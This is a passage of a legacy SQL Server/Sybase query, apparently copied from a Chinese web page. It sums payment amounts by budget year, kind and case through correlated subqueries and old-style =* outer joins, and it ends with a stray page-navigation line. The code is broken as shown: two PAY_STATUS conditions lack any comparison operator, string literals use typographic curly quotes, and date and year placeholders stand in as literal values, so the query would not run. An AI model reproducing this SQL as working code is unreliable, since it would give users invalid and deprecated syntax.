SUM( ISNULL( ( SELECT CASE WHEN ( ( CONVERT(CHAR(8),KMM103.KMM103_PAY_DATE,112) < “YYYYMMDD” )

AND KMM103.KMM103_PAY_STATUS “2” )

THEN KMM103.KMM103_PAY_AMT ELSE 0 END

FROM KMM103

WHERE ( KMM103.KMM103_YY = KMM102.KMM102_YY )

AND ( KMM103.KMM103_BGT_KIND = KMM102.KMM102_BGT_KIND )

AND ( KMM103.KMM103_CASE_NO = KMM102.KMM102_CASE_NO ) ),0 ) ) AS AMT03,

SUM( ISNULL( ( SELECT CASE WHEN ( ( CONVERT(CHAR(8),KMM103.KMM103_PAY_DATE,112) < “YYYYMMDD” )

AND KMM103.KMM103_PAY_STATUS “1” )

THEN KMM103.KMM103_PAY_AMT ELSE 0 END

FROM KMM103

WHERE ( KMM103.KMM103_YY = KMM102.KMM102_YY )

AND ( KMM103.KMM103_BGT_KIND = KMM102.KMM102_BGT_KIND )

AND ( KMM103.KMM103_CASE_NO = KMM102.KMM102_CASE_NO ) ),0 ) ) AS AMT04

FROM KMM102,

KMM101

WHERE ( KMM102.KMM102_YY = “YYY” ) AND

( KMM102.KMM102_BGT_KIND = “1” ) AND

( KMM101.KMM101_YY =* KMM102.KMM102_YY ) AND

( KMM101.KMM101_BGT_KIND =* KMM102.KMM102_BGT_KIND ) AND

( KMM101.KMM101_BGT_TYPE =* KMM102.KMM102_BGT_TYPE )

GROUP BY SUBSTRING( KMM102.KMM102_BGT_TYPE,1,4 ),

SUBSTRING( KMM102.KMM102_BGT_TYPE,3,2 ),

SUBSTRING( KMM102.KMM102_BGT_TYPE,1,2 )

ORDER BY BGT_CLASS ASC,

BGT_TYPE DESC

上一篇:陈四楼矿岗前培训感想——韩超下一篇:下载网页教学反思